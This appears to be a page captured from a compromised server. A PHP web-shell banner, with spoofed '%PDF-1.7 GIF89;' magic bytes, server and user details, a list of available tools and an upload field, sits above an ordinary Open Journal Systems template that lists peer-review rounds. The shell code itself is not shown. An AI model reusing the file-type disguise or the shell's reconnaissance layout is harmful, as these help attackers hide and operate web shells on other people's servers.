%PDF-1.7 GIF89;
| Server IP : 172.66.157.178 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/templates/sectionEditor/submission/ |
Upload File : |
{**
* templates/sectionEditor/submission/rounds.tpl
*
* Copyright (c) 2013-2019 Simon Fraser University
* Copyright (c) 2003-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Subtemplate displaying past rounds for a submission.
*
*}
<div id="rounds">
<div id="regretsAndCancels">
<h3>{translate|escape key="sectionEditor.regrets.regretsAndCancels"}</h3>
<table width="100%" class="listing">
<tr><td colspan="4" class="headseparator"> </td></tr>
<tr valign="top">
<td class="heading" width="30%">{translate key="user.name"}</td>
<td class="heading" width="25%">{translate key="submission.request"}</td>
<td class="heading" width="25%">{translate key="sectionEditor.regrets.result"}</td>
<td class="heading" width="20%">{translate key="submissions.reviewRound"}</td>
</tr>
<tr><td colspan="4" class="headseparator"> </td></tr>
{foreach from=$cancelsAndRegrets item=cancelOrRegret name=cancelsAndRegrets}
<tr valign="top">
<td>{$cancelOrRegret->getReviewerFullName()|escape}</td>
<td>
{if $cancelOrRegret->getDateNotified()}
{$cancelOrRegret->getDateNotified()|date_format:$dateFormatTrunc}
{else}
—
{/if}
</td>
<td>
{if $cancelOrRegret->getDeclined()}
{translate key="sectionEditor.regrets"}
{else}
{translate key="common.cancelled"}
{/if}
</td>
<td>{$cancelOrRegret->getRound()}</td>
</tr>
<tr>
<td colspan="4" class="{if $smarty.foreach.cancelsAndRegrets.last}end{/if}separator"> </td>
</tr>
{foreachelse}
<tr valign="top">
<td colspan="4" class="nodata">{translate key="common.none}</td>
</tr>
<tr>
<td colspan="4" class="endseparator"> </td>
</tr>
{/foreach}
</table>
</div>
{section name=round loop=$numRounds-1}
{assign var=round value=$smarty.section.round.index}
{assign var=roundPlusOne value=$round+1}
{assign var=roundAssignments value=$reviewAssignments[$roundPlusOne]}
{assign var=roundDecisions value=$editorDecisions[$roundPlusOne]}
<div id="reviewRound">
<h3>{translate key="sectionEditor.regrets.reviewRound" round=$roundPlusOne}</h3>
<table width="100%" class="data">
<tr valign="top">
<td class="label" width="20%">{translate key="submission.reviewVersion"}</td>
<td class="value" width="80%">
{assign var="reviewFile" value=$reviewFilesByRound[$roundPlusOne]}
{if $reviewFile}
<a href="{url op="downloadFile" path=$submission->getId()|to_array:$reviewFile->getFileId():$reviewFile->getRevision()}" class="file">{$reviewFile->getFileName()|escape}</a> {$reviewFile->getDateModified()|date_format:$dateFormatShort}
{else}
{translate key="common.none"}
{/if}
</td>
</tr>
</table>
</div>
{assign var="start" value="A"|ord}
{assign var=reviewKey value=0}
{foreach from=$roundAssignments item=reviewAssignment}
{assign var="reviewId" value=$reviewAssignment->getId()}
{if !$reviewAssignment->getCancelled()}
<div class="separator"></div>
<div id="reviewer">
<h4>{translate key="user.role.reviewer"} {$reviewKey+$start|chr} {$reviewAssignment->getReviewerFullName()|escape}</h4>
<table width="100%" class="listing">
<tr valign="top">
<td width="20%">{translate key="reviewer.article.schedule"}</td>
<td width="20%" class="heading">{translate key="submission.request"}</td>
<td width="20%" class="heading">{translate key="submission.underway"}</td>
<td width="20%" class="heading">{translate key="submission.due"}</td>
<td width="20%" class="heading">{translate key="submission.acknowledge"}</td>
</tr>
<tr valign="top">
<td> </td>
<td>
{if $reviewAssignment->getDateNotified()}
{$reviewAssignment->getDateNotified()|date_format:$dateFormatTrunc}
{else}
—
{/if}
</td>
<td>
{if $reviewAssignment->getDateConfirmed()}
{$reviewAssignment->getDateConfirmed()|date_format:$dateFormatTrunc}
{else}
—
{/if}
</td>
<td>
{if $reviewAssignment->getDateDue()}
{$reviewAssignment->getDateDue()|date_format:$dateFormatTrunc}
{else}
—
{/if}
</td>
<td>
{if $reviewAssignment->getDateAcknowledged()}
{$reviewAssignment->getDateAcknowledged()|date_format:$dateFormatTrunc}
{else}
—
{/if}
</td>
</tr>
<tr valign="top">
<td>{translate key="submission.recommendation"}</td>
<td colspan="4">
{if $reviewAssignment->getRecommendation() !== null && $reviewAssignment->getRecommendation() !== ''}
{assign var="recommendation" value=$reviewAssignment->getRecommendation()}
{translate key=$reviewerRecommendationOptions.$recommendation}
{else}
{translate key="common.none"}
{/if}
</td>
</tr>
{if $reviewFormResponses[$reviewId]}
<tr valign="top">
<td class="label">{translate key="submission.reviewFormResponse"}</td>
<td>
<a href="javascript:openComments('{url op="viewReviewFormResponse" path=$submission->getId()|to_array:$reviewAssignment->getId()}');" class="icon">{icon name="letter"}</a>
</td>
</tr>
{/if}
<tr valign="top">
<td class="label">{translate key="reviewer.article.reviewerComments"}</td>
<td colspan="4">
{if $reviewAssignment->getMostRecentPeerReviewComment()}
{assign var="comment" value=$reviewAssignment->getMostRecentPeerReviewComment()}
<a href="javascript:openComments('{url op="viewPeerReviewComments" path=$submission->getId()|to_array:$reviewAssignment->getId() anchor=$comment->getId()}');" class="icon">{icon name="comment"}</a> {$comment->getDatePosted()|date_format:$dateFormatShort}
{else}
<a href="javascript:openComments('{url op="viewPeerReviewComments" path=$submission->getId()|to_array:$reviewAssignment->getId()}');" class="icon">{icon name="comment"}</a>{translate key="common.noComments"}
{/if}
</td>
</tr>
<tr valign="top">
<td class="label">{translate key="reviewer.article.uploadedFile"}</td>
<td colspan="4">
<table width="100%" class="data">
{foreach from=$reviewAssignment->getReviewerFileRevisions() item=reviewerFile key=key}
<tr valign="top">
<td valign="middle">
<form id="authorView{$reviewAssignment->getId()}" method="post" action="{url op="makeReviewerFileViewable"}">
<a href="{url op="downloadFile" path=$submission->getId()|to_array:$reviewerFile->getFileId():$reviewerFile->getRevision()}" class="file">{$reviewerFile->getFileName()|escape}</a> {$reviewerFile->getDateModified()|date_format:$dateFormatShort}
<input type="hidden" name="reviewId" value="{$reviewAssignment->getId()}" />
<input type="hidden" name="articleId" value="{$submission->getId()}" />
<input type="hidden" name="fileId" value="{$reviewerFile->getFileId()}" />
<input type="hidden" name="revision" value="{$reviewerFile->getRevision()}" />
{translate key="editor.article.showAuthor"} <input type="checkbox"
name="viewable" value="1"{if $reviewerFile->getViewable()} checked="checked"{/if} />
<input type="submit" value="{translate key="common.record"}" class="button" />
</form>
</td>
</tr>
{foreachelse}
<tr valign="top">
<td>{translate key="common.none"}</td>
</tr>
{/foreach}
</table>
</td>
</tr>
</table>
{/if}
{assign var=reviewKey value=$reviewKey+1}
{/foreach}
</div>
<div class="separator"></div>
<div id="decisionRound">
<h3>{translate key="sectionEditor.regrets.decisionRound" round=$roundPlusOne}</h3>
{assign var=authorFiles value=$submission->getAuthorFileRevisions($roundPlusOne)}
{assign var=editorFiles value=$submission->getEditorFileRevisions($roundPlusOne)}
<table class="data" width="100%">
<tr valign="top">
<td class="label" width="20%">{translate key="editor.article.decision"}</td>
<td class="value" width="80%">
{foreach from=$roundDecisions item=editorDecision key=decisionKey}
{if $decisionKey neq 0} | {/if}
{assign var="decision" value=$editorDecision.decision}
{translate key=$editorDecisionOptions.$decision} {$editorDecision.dateDecided|date_format:$dateFormatShort}
{foreachelse}
{translate key="common.none"}
{/foreach}
</td>
</tr>
<tr valign="top">
<td class="label" width="20%">{translate key="submission.notifyAuthor"}</td>
<td class="value" width="80%">
{translate key="submission.editorAuthorRecord"}
{if $submission->getMostRecentEditorDecisionComment()}
{assign var="comment" value=$submission->getMostRecentEditorDecisionComment()}
<a href="javascript:openComments('{url op="viewEditorDecisionComments" path=$submission->getId() anchor=$comment->getId()}');" class="icon">{icon name="comment"}</a> {$comment->getDatePosted()|date_format:$dateFormatShort}
{else}
<a href="javascript:openComments('{url op="viewEditorDecisionComments" path=$submission->getId()}');" class="icon">{icon name="comment"}</a>{translate key="common.noComments"}
{/if}
</td>
</tr>
{foreach from=$authorFiles item=authorFile key=key}
<tr valign="top">
{if !$authorRevisionExists}
{assign var="authorRevisionExists" value=true}
<td width="20%" class="label" rowspan="{$authorFiles|@count}" class="label">{translate key="submission.authorVersion"}</td>
{/if}
<td width="80%" class="value"><a href="{url op="downloadFile" path=$submission->getId()|to_array:$authorFile->getFileId():$authorFile->getRevision()}" class="file">{$authorFile->getFileName()|escape}</a> {$authorFile->getDateModified()|date_format:$dateFormatShort}</td>
</tr>
{foreachelse}
<tr valign="top">
<td width="20%" class="label">{translate key="submission.authorVersion"}</td>
<td width="80%" colspan="4" class="nodata">{translate key="common.none"}</td>
</tr>
{/foreach}
{foreach from=$editorFiles item=editorFile key=key}
<tr valign="top">
{if !$editorRevisionExists}
{assign var="editorRevisionExists" value=true}
<td width="20%" class="label" rowspan="{$editorFiles|@count}" class="label">{translate key="submission.editorVersion"}</td>
{/if}
<td width="30%"><a href="{url op="downloadFile" path=$submission->getId()|to_array:$editorFile->getFileId():$editorFile->getRevision()}" class="file">{$editorFile->getFileName()|escape}</a> {$editorFile->getDateModified()|date_format:$dateFormatShort}</td>
</tr>
{foreachelse}
<tr valign="top">
<td width="20%" class="label">{translate key="submission.editorVersion"}</td>
<td width="80%" colspan="4" class="nodata">{translate key="common.none"}</td>
</tr>
{/foreach}
</table>
</div>
<div class="separator"></div>
{/section}
</div>